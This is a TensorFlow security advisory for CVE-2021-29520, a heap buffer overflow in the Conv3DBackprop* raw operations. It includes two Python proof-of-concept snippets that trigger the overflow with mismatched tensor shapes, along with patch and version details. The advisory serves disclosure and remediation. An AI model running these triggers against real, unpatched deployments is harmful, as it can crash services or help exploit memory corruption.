GHSA-wcv5-qrj6-9pfm

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GHSA-wcv5-qrj6-9pfm

Summary: Heap buffer overflow in `Conv3DBackprop*`

Details: ### Impact Missing validation between arguments to `tf.raw_ops.Conv3DBackprop*` operations can result in heap buffer overflows: ```python import tensorflow as tf input_sizes = tf.constant([1, 1, 1, 1, 2], shape=[5], dtype=tf.int32) filter_tensor = tf.constant([734.6274508233133, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[4, 1, 6, 1, 1], dtype=tf.float32) out_backprop = tf.constant([-10.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32) tf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 89, 29, 89, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1]) ``` ```python import tensorflow as tf input_values = [-10.0] * (7 * 7 * 7 * 7 * 7) input_values[0] = 429.6491056791816 input_sizes = tf.constant(input_values, shape=[7, 7, 7, 7, 7], dtype=tf.float32) filter_tensor = tf.constant([7, 7, 7, 1, 1], shape=[5], dtype=tf.int32) out_backprop = tf.constant([-10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[7, 1, 1, 1, 1], dtype=tf.float32) tf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 37, 65, 93, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1]) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/4814fafb0ca6b5ab58a09411523b2193fed23fed/tensorflow/core/kernels/conv_grad_shape_utils.cc#L94-L153) assumes that the `input`, `filter_sizes` and `out_backprop` tensors have the same shape, as they are accessed in parallel. ### Patches We have patched the issue in GitHub commit [8f37b52e1320d8d72a9529b2468277791a261197](https://github.com/tensorflow/tensorflow/commit/8f37b52e1320d8d72a9529b2468277791a261197). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our securityguide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

References: https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wcv5-qrj6-9pfm, https://nvd.nist.gov/vuln/detail/CVE-2021-29520, https://github.com/tensorflow/tensorflow/commit/8f37b52e1320d8d72a9529b2468277791a261197, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-448.yaml, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-646.yaml, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-157.yaml, https://github.com/tensorflow/tensorflow